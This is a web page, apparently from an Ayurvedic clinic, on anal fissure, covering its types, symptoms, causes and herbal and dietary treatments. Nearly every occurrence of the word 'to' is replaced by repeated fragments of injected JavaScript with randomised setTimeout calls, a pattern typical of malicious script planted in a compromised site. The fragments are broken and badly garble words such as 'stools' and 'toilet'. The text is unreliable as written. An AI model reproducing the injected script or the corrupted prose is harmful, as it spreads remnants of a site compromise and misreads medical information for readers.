Fissure in ano / Anal Fissure –

Anal Fissure commonly called as Gubcheer is a longitudinal crack in the long axis of lower anal canal.

Anal Fissure

Types –
– Superficial
– Deep

Superficial anal fissures look like a paper cut, and generally get self-heal within a week. However, some anal fissures become chronic and deep and will not heal. The most common cause of non-healing is spasming of the internal anal sphincter muscle which results in impaired blood supply dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the anal mucosa.

Main Features –
– Pain in anal area which increases after passing sdom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tools,
– Severe cutting pains, patient prefers dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to remain constipated rather than going through the agony of pain.
– Bleeding – sdom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tools are streaked with blood.
– Burning sensation at anal opening.
– Constipation – pain either initiated or aggrevated with passing sdom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tools sotendency dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to avoid going dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to sdom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tools so constipation.
– Swelling – a large sentinel tag causes painful external swelling.
– Urinary sympdom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toms – some patients may develop urinary retention, painful urination, increased frequency.

Causes –
– Constipation – passing of large, hard sdom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tools,
– Prolonged diarrhoea,
– Child birth trauma in women,
– Poor dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toileting in young children.

Treatment – Treatment is given according dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to type of fissure.
– Different types of Internal medicines, medicated ghritas are given for healing of cuts.
– Ayurvedic sdom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tool softerners are given dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to avoid hardening of sdom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tools.
– Extenal medicinal sitz bath are provided for killing of pains and for healing of cuts.
– Fibre diet is suggested dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to improve bad dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toilet habits.

However, for recurrent Fissures occuring due dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to spasming of internal sphincter muscles called Anal Stricture, anal dilatation is suggested dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to relieve sphincter muscle spasm.

Quick Links –

– Piles
– Fissure
– Fistula
– Pilonidal Sinus
– Constipation